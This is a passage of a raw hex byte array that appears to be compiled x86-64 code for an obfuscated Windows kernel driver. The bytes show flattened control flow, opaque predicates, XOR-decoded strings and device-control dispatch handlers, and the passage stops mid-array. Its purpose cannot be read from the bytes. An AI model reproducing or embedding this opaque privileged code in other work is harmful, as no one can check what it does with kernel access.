0xC3, 0x55, 0x41, 0x57, 0x41, 0x56, 0x56, 0x57, 0x53, 0x48, 0x83, 0xEC, 0x38, 0x48, 0x8D, 0x6C, 0x24, 0x30, 0x4D, 0x89,
0xC7, 0x49, 0x89, 0xD6, 0x48, 0xC7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0x44, 0x89, 0xFA, 0x45, 0x31, 0xC0, 0x45,
0x31, 0xC9, 0xFF, 0x15, 0xB4, 0x0F, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x61, 0x48, 0x89, 0xC6, 0x48, 0x89, 0xC1, 0x31,
0xD2, 0x45, 0x31, 0xC0, 0xFF, 0x15, 0xA6, 0x0F, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x28, 0x10, 0x00, 0x00, 0x00, 0xC7, 0x44,
0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0x31, 0xDB, 0x48, 0x89, 0xF1, 0x31, 0xD2, 0x45, 0x31, 0xC0, 0x45, 0x31, 0xC9, 0xFF,
0x15, 0x8B, 0x0F, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x2F, 0x48, 0x89, 0xC7, 0x48, 0x89, 0xC1, 0x4C, 0x89, 0xF2, 0x4D,
0x89, 0xF8, 0xE8, 0xDD, 0x0A, 0x00, 0x00, 0x48, 0x89, 0xF9, 0x48, 0x89, 0xF2, 0xFF, 0x15, 0x71, 0x0F, 0x00, 0x00, 0x48,
0x89, 0xF1, 0xFF, 0x15, 0x70, 0x0F, 0x00, 0x00, 0xEB, 0x15, 0xBB, 0x9A, 0x00, 0x00, 0xC0, 0xEB, 0x17, 0x48, 0x89, 0xF1,
0xFF, 0x15, 0x5E, 0x0F, 0x00, 0x00, 0xBB, 0x9A, 0x00, 0x00, 0xC0, 0x48, 0x89, 0xF1, 0xFF, 0x15, 0x58, 0x0F, 0x00, 0x00,
0x89, 0xD8, 0x48, 0x83, 0xC4, 0x38, 0x5B, 0x5F, 0x5E, 0x41, 0x5E, 0x41, 0x5F, 0x5D, 0xC3, 0xBB, 0x22, 0x00, 0x00, 0xC0,
0xEB, 0xE1, 0x41, 0x89, 0xCA, 0x43, 0x8D, 0x04, 0x10, 0x44, 0x0F, 0xAF, 0xC1, 0x41, 0x01, 0xC0, 0x0F, 0xAF, 0xC2, 0x44,
0x01, 0xC0, 0x05, 0xC9, 0x3C, 0x00, 0x00, 0x41, 0x0F, 0xAF, 0xC1, 0x29, 0xD0, 0x05, 0xC6, 0xDE, 0x0E, 0x00, 0x41, 0x0F,
0xAF, 0xC1, 0x05, 0x7D, 0x53, 0x00, 0x00, 0x44, 0x89, 0xC9, 0xD3, 0xE0, 0x89, 0xC1, 0x81, 0xE1, 0x1A, 0x8F, 0x48, 0xFB,
0x81, 0xC9, 0xC4, 0x70, 0x86, 0x04, 0x89, 0xC2, 0x81, 0xE2, 0xE5, 0x70, 0xB7, 0x04, 0x31, 0xCA, 0x81, 0xF2, 0x2C, 0xD2,
0xA5, 0x04, 0x25, 0xE8, 0xA2, 0x23, 0x00, 0x09, 0xD0, 0x89, 0xC1, 0x81, 0xE1, 0x31, 0x14, 0x62, 0x7E, 0x81, 0xC9, 0x8C,
0x42, 0x81, 0x00, 0x25, 0xCE, 0xEB, 0x9D, 0x81, 0x31, 0xC8, 0x89, 0xC1, 0x81, 0xF1, 0xBD, 0x54, 0x8A, 0xA0, 0x44, 0x89,
0xD2, 0x81, 0xE2, 0xD1, 0x2F, 0x08, 0xA0, 0x81, 0xCA, 0x08, 0x90, 0xA5, 0x40, 0x41, 0x81, 0xE2, 0x2E, 0xD0, 0xF7, 0x5F,
0x41, 0x31, 0xD2, 0x44, 0x89, 0xD2, 0x81, 0xF2, 0xD9, 0xBF, 0xAD, 0xE0, 0x35, 0x42, 0xAB, 0x75, 0x5F, 0x21, 0xD0, 0x41,
0x81, 0xF2, 0x26, 0x40, 0x52, 0x1F, 0x41, 0x21, 0xCA, 0x41, 0x09, 0xC2, 0x49, 0x63, 0xC2, 0x48, 0x69, 0xC0, 0xA1, 0x25,
0x56, 0x50, 0x48, 0x89, 0xC1, 0x48, 0xC1, 0xE9, 0x3F, 0x48, 0xC1, 0xF8, 0x32, 0x01, 0xC8, 0x48, 0x98, 0xC3, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54,
0x56, 0x57, 0x55, 0x53, 0x48, 0x83, 0xEC, 0x48, 0x49, 0x89, 0xD6, 0x48, 0x8B, 0x82, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x83,
0xC0, 0x08, 0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0x8B, 0x44, 0x24, 0x40, 0x8B, 0x40, 0x10, 0x89, 0x44, 0x24, 0x2C, 0x48,
0x8B, 0x42, 0x18, 0x48, 0x89, 0x44, 0x24, 0x20, 0xB9, 0x2E, 0x11, 0x99, 0x7A, 0x41, 0xBF, 0x7C, 0xFE, 0xBB, 0x81, 0x81,
0xF9, 0x92, 0xD4, 0xC6, 0x16, 0x7E, 0x59, 0x81, 0xF9, 0xF0, 0xD0, 0x43, 0x58, 0x0F, 0x8F, 0xB2, 0x00, 0x00, 0x00, 0x81,
0xF9, 0xA5, 0x4D, 0x85, 0x38, 0x0F, 0x8F, 0x54, 0x01, 0x00, 0x00, 0x81, 0xF9, 0x93, 0xD4, 0xC6, 0x16, 0x0F, 0x84, 0x95,
0x01, 0x00, 0x00, 0x81, 0xF9, 0x3F, 0xFD, 0x40, 0x18, 0x0F, 0x84, 0x0E, 0x02, 0x00, 0x00, 0x81, 0xF9, 0x90, 0x88, 0x66,
0x36, 0x75, 0xC0, 0x8B, 0x0D, 0x9B, 0x1E, 0x00, 0x00, 0x8B, 0x05, 0x91, 0x1E, 0x00, 0x00, 0x8D, 0x59, 0xFF, 0x0F, 0xAF,
0xD9, 0xBA, 0xC5, 0x91, 0xF8, 0x3E, 0xB9, 0xC5, 0x91, 0xF8, 0x3E, 0xE9, 0x09, 0x03, 0x00, 0x00, 0x81, 0xF9, 0xE0, 0x4E,
0x22, 0xC7, 0x0F, 0x8E, 0xCD, 0x00, 0x00, 0x00, 0x81, 0xF9, 0x09, 0x0E, 0x51, 0xF9, 0x0F, 0x8F, 0x24, 0x01, 0x00, 0x00,
0x81, 0xF9, 0xE1, 0x4E, 0x22, 0xC7, 0x0F, 0x84, 0xF2, 0x01, 0x00, 0x00, 0x81, 0xF9, 0x77, 0x19, 0x6C, 0xD0, 0x0F, 0x84,
0x35, 0x02, 0x00, 0x00, 0x81, 0xF9, 0x76, 0xD7, 0xDD, 0xD9, 0x0F, 0x85, 0x63, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x44, 0x24,
0x20, 0x48, 0x8B, 0x40, 0x28, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x83, 0x7C, 0x24, 0x30, 0x00, 0xB9, 0x90, 0x88, 0x66,
0x36, 0x0F, 0x84, 0x44, 0xFF, 0xFF, 0xFF, 0xB9, 0x0A, 0x0E, 0x51, 0xF9, 0xE9, 0x3A, 0xFF, 0xFF, 0xFF, 0x81, 0xF9, 0x4F,
0xE6, 0x43, 0x69, 0x0F, 0x8F, 0xFC, 0x00, 0x00, 0x00, 0x81, 0xF9, 0xF1, 0xD0, 0x43, 0x58, 0x0F, 0x84, 0xFE, 0x01, 0x00,
0x00, 0x81, 0xF9, 0xDD, 0x55, 0xF0, 0x5B, 0x0F, 0x84, 0x07, 0x02, 0x00, 0x00, 0x81, 0xF9, 0x7C, 0xA6, 0xEC, 0x62, 0x0F,
0x85, 0x0A, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x44, 0x24, 0x38, 0x44, 0x8B, 0x48, 0x0C, 0x48, 0x8B, 0x44, 0x24, 0x38, 0x44,
0x8B, 0x40, 0x08, 0x48, 0x8B, 0x44, 0x24, 0x38, 0x8B, 0x50, 0x04, 0x48, 0x8B, 0x44, 0x24, 0x38, 0x8B, 0x08, 0xE8, 0xCF,
0xFD, 0xFF, 0xFF, 0x48, 0x8B, 0x54, 0x24, 0x38, 0xB9, 0x3F, 0xFD, 0x40, 0x18, 0x48, 0x3B, 0x42, 0x10, 0x0F, 0x84, 0xD0,
0xFE, 0xFF, 0xFF, 0xB9, 0xDD, 0x55, 0xF0, 0x5B, 0xE9, 0xC6, 0xFE, 0xFF, 0xFF, 0x81, 0xF9, 0x3F, 0x4B, 0xE0, 0xA6, 0x0F,
0x8E, 0xBE, 0x00, 0x00, 0x00, 0x81, 0xF9, 0x40, 0x4B, 0xE0, 0xA6, 0x0F, 0x84, 0xAD, 0x01, 0x00, 0x00, 0x81, 0xF9, 0x87,
0x20, 0xF9, 0xA9, 0x0F, 0x84, 0xBF, 0x01, 0x00, 0x00, 0x81, 0xF9, 0xC2, 0x11, 0x04, 0xB0, 0x0F, 0x85, 0x96, 0xFE, 0xFF,
0xFF, 0xB9, 0xC5, 0x91, 0xF8, 0x3E, 0xE9, 0x8C, 0xFE, 0xFF, 0xFF, 0x81, 0xF9, 0xA6, 0x4D, 0x85, 0x38, 0x0F, 0x84, 0xA7,
0x01, 0x00, 0x00, 0x81, 0xF9, 0xC5, 0x91, 0xF8, 0x3E, 0x0F, 0x84, 0xC2, 0x01, 0x00, 0x00, 0x81, 0xF9, 0xFB, 0xD0, 0x10,
0x47, 0x0F, 0x84, 0x21, 0x02, 0x00, 0x00, 0xE9, 0x63, 0xFE, 0xFF, 0xFF, 0x81, 0xF9, 0x0A, 0x0E, 0x51, 0xF9, 0x0F, 0x84,
0xD6, 0x01, 0x00, 0x00, 0x81, 0xF9, 0xCD, 0xEC, 0x26, 0x00, 0x0F, 0x84, 0x0E, 0x02, 0x00, 0x00, 0x81, 0xF9, 0xF8, 0x90,
0xE5, 0x05, 0x0F, 0x85, 0x3F, 0xFE, 0xFF, 0xFF, 0xB9, 0x50, 0xE6, 0x43, 0x69, 0x45, 0x31, 0xE4, 0xE9, 0x32, 0xFE, 0xFF,
0xFF, 0x81, 0xF9, 0x5A, 0x6A, 0x07, 0x7A, 0x0F, 0x84, 0xF6, 0x01, 0x00, 0x00, 0x81, 0xF9, 0x2E, 0x11, 0x99, 0x7A, 0x0F,
0x85, 0x35, 0x02, 0x00, 0x00, 0x8B, 0x44, 0x24, 0x2C, 0xB9, 0x77, 0x19, 0x6C, 0xD0, 0x3D, 0x4C, 0x54, 0x22, 0x00, 0x0F,
0x8C, 0x06, 0xFE, 0xFF, 0xFF, 0xB9, 0x40, 0x4B, 0xE0, 0xA6, 0xE9, 0xFC, 0xFD, 0xFF, 0xFF, 0x81, 0xF9, 0x7C, 0xFE, 0xBB,
0x81, 0x0F, 0x84, 0xFE, 0x01, 0x00, 0x00, 0x81, 0xF9, 0x31, 0xEE, 0x4A, 0x8A, 0x0F, 0x85, 0xE4, 0xFD, 0xFF, 0xFF, 0x48,
0x8B, 0x44, 0x24, 0x20, 0x48, 0x8B, 0x48, 0x18, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x48, 0x8B, 0x50, 0x10, 0x48, 0x8B, 0x44,
0x24, 0x20, 0x4C, 0x8B, 0x40, 0x20, 0xE8, 0x41, 0x07, 0x00, 0x00, 0xB9, 0xE1, 0x4E, 0x22, 0xC7, 0xE9, 0xBA, 0xFD, 0xFF,
0xFF, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x4C, 0x8B, 0x40, 0x20, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x48, 0x8B, 0x50, 0x18, 0x48,
0x8B, 0x44, 0x24, 0x20, 0x48, 0x8B, 0x48, 0x10, 0xE8, 0xBC, 0xFB, 0xFF, 0xFF, 0x89, 0xC6, 0xB9, 0xF1, 0xD0, 0x43, 0x58,
0xBD, 0x02, 0x00, 0x00, 0x00, 0xE9, 0x89, 0xFD, 0xFF, 0xFF, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x48, 0x8B, 0x48, 0x18, 0x48,
0x8B, 0x44, 0x24, 0x20, 0x48, 0x8B, 0x50, 0x10, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x4C, 0x8B, 0x40, 0x20, 0xE8, 0xE6, 0x06,
0x00, 0x00, 0x8B, 0x0D, 0x44, 0x1C, 0x00, 0x00, 0x8B, 0x05, 0x3A, 0x1C, 0x00, 0x00, 0x8D, 0x59, 0xFF, 0x0F, 0xAF, 0xD9,
0xBA, 0xFB, 0xD0, 0x10, 0x47, 0xB9, 0xFB, 0xD0, 0x10, 0x47, 0xF6, 0xC3, 0x01, 0x0F, 0x84, 0xB8, 0x00, 0x00, 0x00, 0xB9,
0x31, 0xEE, 0x4A, 0x8A, 0xE9, 0xAE, 0x00, 0x00, 0x00, 0x8B, 0x44, 0x24, 0x2C, 0xB9, 0x76, 0xD7, 0xDD, 0xD9, 0x3D, 0x48,
0x54, 0x22, 0x00, 0x0F, 0x84, 0x26, 0xFD, 0xFF, 0xFF, 0xEB, 0x37, 0x85, 0xED, 0xB9, 0xCD, 0xEC, 0x26, 0x00, 0x41, 0x0F,
0x44, 0xCF, 0x41, 0x89, 0xF5, 0x89, 0xF7, 0xE9, 0x0F, 0xFD, 0xFF, 0xFF, 0xB9, 0xF1, 0xD0, 0x43, 0x58, 0x31, 0xED, 0x31,
0xF6, 0xE9, 0x01, 0xFD, 0xFF, 0xFF, 0x8B, 0x44, 0x24, 0x2C, 0xB9, 0xA6, 0x4D, 0x85, 0x38, 0x3D, 0x4C, 0x54, 0x22, 0x00,
0x0F, 0x84, 0xED, 0xFC, 0xFF, 0xFF, 0xB9, 0x93, 0xD4, 0xC6, 0x16, 0xE9, 0xE3, 0xFC, 0xFF, 0xFF, 0xB9, 0x90, 0x88, 0x66,
0x36, 0xE9, 0xD9, 0xFC, 0xFF, 0xFF, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x48, 0x8B, 0x40, 0x28, 0x48, 0x89, 0x44, 0x24, 0x38,
0x48, 0x83, 0x7C, 0x24, 0x38, 0x00, 0xB9, 0x7C, 0xFE, 0xBB, 0x81, 0x74, 0x05, 0xB9, 0x7C, 0xA6, 0xEC, 0x62, 0x31, 0xFF,
0xE9, 0xB2, 0xFC, 0xFF, 0xFF, 0x8B, 0x0D, 0x8D, 0x1B, 0x00, 0x00, 0x8B, 0x05, 0x83, 0x1B, 0x00, 0x00, 0x8D, 0x59, 0xFF,
0x0F, 0xAF, 0xD9, 0xBA, 0xF8, 0x90, 0xE5, 0x05, 0xB9, 0xF8, 0x90, 0xE5, 0x05, 0xF6, 0xC3, 0x01, 0x74, 0x05, 0xB9, 0xC2,
0x11, 0x04, 0xB0, 0x83, 0xF8, 0x0A, 0x0F, 0x4C, 0xCA, 0xE9, 0x81, 0xFC, 0xFF, 0xFF, 0x48, 0x8B, 0x44, 0x24, 0x30, 0x44,
0x8B, 0x48, 0x0C, 0x48, 0x8B, 0x44, 0x24, 0x30, 0x44, 0x8B, 0x40, 0x08, 0x48, 0x8B, 0x44, 0x24, 0x30, 0x8B, 0x50, 0x04,
0x48, 0x8B, 0x44, 0x24, 0x30, 0x8B, 0x08, 0xE8, 0x46, 0xFB, 0xFF, 0xFF, 0x48, 0x8B, 0x54, 0x24, 0x30, 0xB9, 0x5A, 0x6A,
0x07, 0x7A, 0x48, 0x3B, 0x42, 0x10, 0x0F, 0x84, 0x47, 0xFC, 0xFF, 0xFF, 0xB9, 0x87, 0x20, 0xF9, 0xA9, 0xE9, 0x3D, 0xFC,
0xFF, 0xFF, 0xB9, 0x50, 0xE6, 0x43, 0x69, 0x45, 0x89, 0xEC, 0xE9, 0x30, 0xFC, 0xFF, 0xFF, 0x8B, 0x05, 0x0B, 0x1B, 0x00,
0x00, 0x8D, 0x48, 0xFF, 0x0F, 0xAF, 0xC8, 0x83, 0xE1, 0x01, 0x0F, 0x94, 0xC0, 0x83, 0x3D, 0xF4, 0x1A, 0x00, 0x00, 0x09,
0x0F, 0x9F, 0xC2, 0x30, 0xD0, 0x89, 0xC3, 0x80, 0xF3, 0x01, 0x20, 0xD1, 0x08, 0xD9, 0x30, 0xC1, 0xB9, 0xE1, 0x4E, 0x22,
0xC7, 0x0F, 0x85, 0xFC, 0xFB, 0xFF, 0xFF, 0xB9, 0x31, 0xEE, 0x4A, 0x8A, 0xE9, 0xF2, 0xFB, 0xFF, 0xFF, 0xB9, 0xCD, 0xEC,
0x26, 0x00, 0x41, 0x89, 0xFD, 0xE9, 0xE5, 0xFB, 0xFF, 0xFF, 0x81, 0xF9, 0x50, 0xE6, 0x43, 0x69, 0x0F, 0x85, 0xD9, 0xFB,
0xFF, 0xFF, 0x48, 0x8B, 0x44, 0x24, 0x40, 0x8B, 0x00, 0x49, 0x89, 0x46, 0x38, 0x45, 0x89, 0x66, 0x30, 0x4C, 0x89, 0xF1,
0x31, 0xD2, 0xFF, 0x15, 0xBC, 0x09, 0x00, 0x00, 0x44, 0x89, 0xE0, 0x48, 0x83, 0xC4, 0x48, 0x5B, 0x5D, 0x5F, 0x5E, 0x41,
0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0xC3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x56, 0x57, 0x55, 0x53,
0x48, 0x83, 0xEC, 0x48, 0x48, 0x89, 0xCF, 0x48, 0x8D, 0x05, 0xEE, 0x01, 0x00, 0x00, 0x48, 0x89, 0x41, 0x68, 0x48, 0x8D,
0x05, 0x83, 0xF9, 0xFF, 0xFF, 0x48, 0x89, 0x41, 0x70, 0x48, 0x89, 0x81, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x05, 0x31,
0xFB, 0xFF, 0xFF, 0x48, 0x89, 0x81, 0xE0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x63, 0x19, 0x00, 0x00, 0xE8, 0xA0, 0x02,
0x00, 0x00, 0x48, 0x8D, 0x35, 0xBF, 0x19, 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x89, 0xC2, 0xFF, 0x15, 0x8B, 0x09, 0x00,
0x00, 0x48, 0x8D, 0x05, 0xA4, 0x19, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x30, 0xC6, 0x44, 0x24, 0x28, 0x00, 0xC7, 0x44,
0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0xF9, 0x31, 0xD2, 0x49, 0x89, 0xF0, 0x41, 0xB9, 0x22, 0x00, 0x00, 0x00,
0xFF, 0x15, 0x66, 0x09, 0x00, 0x00, 0x89, 0x44, 0x24, 0x44, 0xB8, 0x23, 0xF4, 0x8F, 0x2D, 0xBE, 0x04, 0x37, 0xB8, 0x06,
0x48, 0x8D, 0x1D, 0x81, 0x19, 0x00, 0x00, 0x4C, 0x8B, 0x2D, 0x42, 0x09, 0x00, 0x00, 0x48, 0x8B, 0x3D, 0x4B, 0x09, 0x00,
0x00, 0x41, 0xBE, 0x09, 0x99, 0xEA, 0x73, 0x41, 0xBF, 0xC7, 0x3E, 0x9B, 0xBD, 0x41, 0xBC, 0x21, 0x13, 0x44, 0xFE, 0x3D,
0x03, 0x37, 0xB8, 0x06, 0x7F, 0x52, 0x3D, 0xF6, 0x9E, 0xCD, 0xBE, 0x7E, 0x67, 0x3D, 0x6F, 0x28, 0x32, 0xE8, 0x0F, 0x84,
0xA5, 0x00, 0x00, 0x00, 0x3D, 0x21, 0x13, 0x44, 0xFE, 0x0F, 0x85, 0x03, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0xD8, 0x18,
0x00, 0x00, 0xE8, 0xEF, 0x02, 0x00, 0x00, 0x48, 0x89, 0xD9, 0x48, 0x89, 0xC2, 0x41, 0xFF, 0xD5, 0x48, 0x89, 0xD9, 0x48,
0x8D, 0x15, 0x0E, 0x19, 0x00, 0x00, 0xFF, 0xD7, 0x89, 0x44, 0x24, 0x40, 0x83, 0x7C, 0x24, 0x40, 0x00, 0xB8, 0xC2, 0x10,
0x9B, 0xA6, 0x41, 0x0F, 0x49, 0xC6, 0xEB, 0xA7, 0x3D, 0x22, 0xF4, 0x8F, 0x2D, 0x7F, 0x39, 0x3D, 0x04, 0x37, 0xB8, 0x06,
0x74, 0x7D, 0x3D, 0xF0, 0xDE, 0x7E, 0x0E, 0x75, 0x92, 0xB8, 0x04, 0x37, 0xB8, 0x06, 0xEB, 0x8B, 0x3D, 0xC2, 0x10, 0x9B,
0xA6, 0x0F, 0x84, 0x8C, 0x00, 0x00, 0x00, 0x3D, 0xC7, 0x3E, 0x9B, 0xBD, 0x0F, 0x85, 0x75, 0xFF, 0xFF, 0xFF, 0xB8, 0xF7,
0x9E, 0xCD, 0xBE, 0x8B, 0x6C, 0x24, 0x44, 0xE9, 0x67, 0xFF, 0xFF, 0xFF, 0x3D, 0x09, 0x99, 0xEA, 0x73, 0x74, 0x79, 0x3D,
0x23, 0xF4, 0x8F, 0x2D, 0x0F, 0x85, 0x55, 0xFF, 0xFF, 0xFF, 0x83, 0x7C, 0x24, 0x44, 0x00, 0xB8, 0x6F, 0x28, 0x32, 0xE8,
0x41, 0x0F, 0x49, 0xC4, 0xE9, 0x42, 0xFF, 0xFF, 0xFF, 0x8B, 0x05, 0x01, 0x19, 0x00, 0x00, 0x8D, 0x48, 0xFF, 0x0F, 0xAF,
0xC8, 0xF6, 0xC1, 0x01, 0xB8, 0xF0, 0xDE, 0x7E, 0x0E, 0x0F, 0x44, 0xC6, 0x83, 0x3D, 0xE5, 0x18, 0x00, 0x00, 0x0A, 0x0F,
0x4C, 0xC6, 0xE9, 0x1C, 0xFF, 0xFF, 0xFF, 0x8B, 0x05, 0xDB, 0x18, 0x00, 0x00, 0x8D, 0x48, 0xFF, 0x0F, 0xAF, 0xC8, 0xF6,
0xC1, 0x01, 0xB8, 0xF0, 0xDE, 0x7E, 0x0E, 0x41, 0x0F, 0x44, 0xC7, 0x83, 0x3D, 0xBE, 0x18, 0x00, 0x00, 0x0A, 0x41, 0x0F,
0x4C, 0xC7, 0xE9, 0xF4, 0xFE, 0xFF, 0xFF, 0x48, 0x8B, 0x0D, 0x36, 0x18, 0x00, 0x00, 0xFF, 0x15, 0x28, 0x08, 0x00, 0x00,
0xB8, 0xF7, 0x9E, 0xCD, 0xBE, 0x8B, 0x6C, 0x24, 0x40, 0xE9, 0xD9, 0xFE, 0xFF, 0xFF, 0x3D, 0xF7, 0x9E, 0xCD, 0xBE, 0x0F,
0x85, 0xCE, 0xFE, 0xFF, 0xFF, 0x89, 0xE8, 0x48, 0x83, 0xC4, 0x48, 0x5B, 0x5D, 0x5F, 0x5E, 0x41, 0x5C, 0x41, 0x5D, 0x41,
0x5E, 0x41, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0x41, 0x56, 0x56, 0x57, 0x55, 0x53, 0x48, 0x83, 0xEC, 0x30, 0x8B, 0x05,
0x64, 0x18, 0x00, 0x00, 0x8B, 0x0D, 0x5A, 0x18, 0x00, 0x00, 0x8D, 0x50, 0xFF, 0x0F, 0xAF, 0xD0, 0xF6, 0xC2, 0x01, 0x0F,
0x94, 0x44, 0x24, 0x2E, 0x83, 0xF9, 0x0A, 0x0F, 0x9C, 0x44, 0x24, 0x2F, 0xB8, 0x5D, 0xC4, 0xA0, 0x1A, 0x41, 0xBE, 0xF2,
0x3F, 0xB9, 0x60, 0x48, 0x8D, 0x35, 0xDA, 0x17, 0x00, 0x00, 0x48, 0x8B, 0x1D, 0xBB, 0x07, 0x00, 0x00, 0x48, 0x8B, 0x3D,
0xAC, 0x07, 0x00, 0x00, 0xBD, 0x9C, 0xE8, 0x2F, 0x91, 0x3D, 0xCA, 0x8F, 0x7D, 0x47, 0x7F, 0x28, 0x3D, 0x9C, 0xE8, 0x2F,
0x91, 0x74, 0x78, 0x3D, 0x5D, 0xC4, 0xA0, 0x1A, 0x75, 0xEB, 0x8A, 0x4C, 0x24, 0x2E, 0x80, 0x7C, 0x24, 0x2F, 0x00, 0xB8,
0xCB, 0x8F, 0x7D, 0x47, 0x41, 0x0F, 0x45, 0xC6, 0x84, 0xC9, 0x41, 0x0F, 0x45, 0xC6, 0xEB, 0xD1, 0x3D, 0xCB, 0x8F, 0x7D,
0x47, 0x74, 0x38, 0x3D, 0xF2, 0x3F, 0xB9, 0x60, 0x75, 0xC3, 0x48, 0x89, 0xF1, 0xFF, 0xD3, 0x48, 0x8B, 0x0D, 0x66, 0x17,
0x00, 0x00, 0xFF, 0xD7, 0x8B, 0x05, 0xD2, 0x17, 0x00, 0x00, 0x8D, 0x48, 0xFF, 0x0F, 0xAF, 0xC8, 0xF6, 0xC1, 0x01, 0xB8,
0xCB, 0x8F, 0x7D, 0x47, 0x0F, 0x44, 0xC5, 0x83, 0x3D, 0xB6, 0x17, 0x00, 0x00, 0x0A, 0x0F, 0x4C, 0xC5, 0xEB, 0x92, 0x48,
0x89, 0xF1, 0xFF, 0xD3, 0x48, 0x8B, 0x0D, 0x35, 0x17, 0x00, 0x00, 0xFF, 0xD7, 0xB8, 0xF2, 0x3F, 0xB9, 0x60, 0xE9, 0x7A,
0xFF, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x30, 0x5B, 0x5D, 0x5F, 0x5E, 0x41, 0x5E, 0xC3, 0x48, 0x83, 0xEC, 0x18, 0x48, 0x89,
0xC8, 0x48, 0x83, 0xC1, 0x18, 0x48, 0x89, 0x4C, 0x24, 0x10, 0x48, 0x8B, 0x4C, 0x24, 0x10, 0x8A, 0x09, 0x88, 0x4C, 0x24,
0x07, 0xBA, 0x8F, 0xC5, 0xCC, 0xC4, 0x41, 0xB8, 0x21, 0x86, 0xF5, 0x71, 0x41, 0xB9, 0x51, 0xEA, 0xFA, 0xDE, 0x81, 0xFA,
0x50, 0xEA, 0xFA, 0xDE, 0x7F, 0x2C, 0x81, 0xFA, 0x24, 0xBD, 0xB2, 0x93, 0x74, 0x79, 0x81, 0xFA, 0x09, 0xD9, 0x9C, 0x9B,
0x0F, 0x84, 0x89, 0x00, 0x00, 0x00, 0x81, 0xFA, 0x8F, 0xC5, 0xCC, 0xC4, 0x75, 0xDC, 0xF6, 0x44, 0x24, 0x07, 0x01, 0xBA,
0x9B, 0xBD, 0x91, 0x5B, 0x41, 0x0F, 0x44, 0xD1, 0xEB, 0xCC, 0x81, 0xFA, 0x51, 0xEA, 0xFA, 0xDE, 0x74, 0x7B, 0x81, 0xFA,
0x9B, 0xBD, 0x91, 0x5B, 0x74, 0x7F, 0x81, 0xFA, 0x21, 0x86, 0xF5, 0x71, 0x75, 0xB4, 0x4C, 0x8B, 0x54, 0x24, 0x08, 0x42,
0x0F, 0xB7, 0x14, 0x50, 0x89, 0xD1, 0x81, 0xE1, 0x7A, 0x95, 0x00, 0x00, 0x81, 0xC9, 0x80, 0x60, 0x00, 0x00, 0x81, 0xE2,
0x85, 0x6A, 0x00, 0x00, 0x31, 0xCA, 0x81, 0xF2, 0x4C, 0xDB, 0x00, 0x00, 0x66, 0x42, 0x89, 0x14, 0x50, 0x48, 0x8B, 0x4C,
0x24, 0x08, 0x48, 0xFF, 0xC1, 0xBA, 0x24, 0xBD, 0xB2, 0x93, 0xE9, 0x77, 0xFF, 0xFF, 0xFF, 0x48, 0x89, 0x4C, 0x24, 0x08,
0x48, 0x8B, 0x54, 0x24, 0x08, 0x48, 0x83, 0xFA, 0x0C, 0xBA, 0x09, 0xD9, 0x9C, 0x9B, 0x41, 0x0F, 0x42, 0xD0, 0xE9, 0x5B,
0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x54, 0x24, 0x10, 0xC6, 0x02, 0x01, 0xBA, 0x9B, 0xBD, 0x91, 0x5B, 0xE9, 0x49, 0xFF, 0xFF,
0xFF, 0xBA, 0x24, 0xBD, 0xB2, 0x93, 0x31, 0xC9, 0xE9, 0x3D, 0xFF, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x18, 0xC3, 0x48, 0x83,
0xEC, 0x18, 0x48, 0x89, 0xC8, 0x48, 0x83, 0xC1, 0x2A, 0x48, 0x89, 0x4C, 0x24, 0x10, 0x48, 0x8B, 0x4C, 0x24, 0x10, 0x8A,
0x09, 0x88, 0x4C, 0x24, 0x07, 0xBA, 0x60, 0xB1, 0x0A, 0xC0, 0x41, 0xB8, 0xBA, 0xE9, 0x0E, 0x5A, 0x41, 0xB9, 0x14, 0x8E,
0x49, 0x22, 0x81, 0xFA, 0xE9, 0x9A, 0xC8, 0x27, 0x7F, 0x56, 0x81, 0xFA, 0x60, 0xB1, 0x0A, 0xC0, 0x74, 0x68, 0x81, 0xFA,
0x3F, 0xAC, 0xAD, 0xC6, 0x0F, 0x84, 0x8B, 0x00, 0x00, 0x00, 0x81, 0xFA, 0x14, 0x8E, 0x49, 0x22, 0x75, 0xDC, 0x4C, 0x8B,
0x54, 0x24, 0x08, 0x42, 0x0F, 0xB7, 0x14, 0x50, 0x89, 0xD1, 0x81, 0xE1, 0xE4, 0x2F, 0x00, 0x00, 0x81, 0xC9, 0x01, 0x50,
0x00, 0x00, 0x81, 0xE2, 0x1B, 0xD0, 0x00, 0x00, 0x31, 0xCA, 0x81, 0xF2, 0xCD, 0xEB, 0x00, 0x00, 0x66, 0x42, 0x89, 0x14,
0x50, 0x48, 0x8B, 0x4C, 0x24, 0x08, 0x48, 0xFF, 0xC1, 0xBA, 0xEA, 0x9A, 0xC8, 0x27, 0xEB, 0xA2, 0x81, 0xFA, 0xEA, 0x9A,
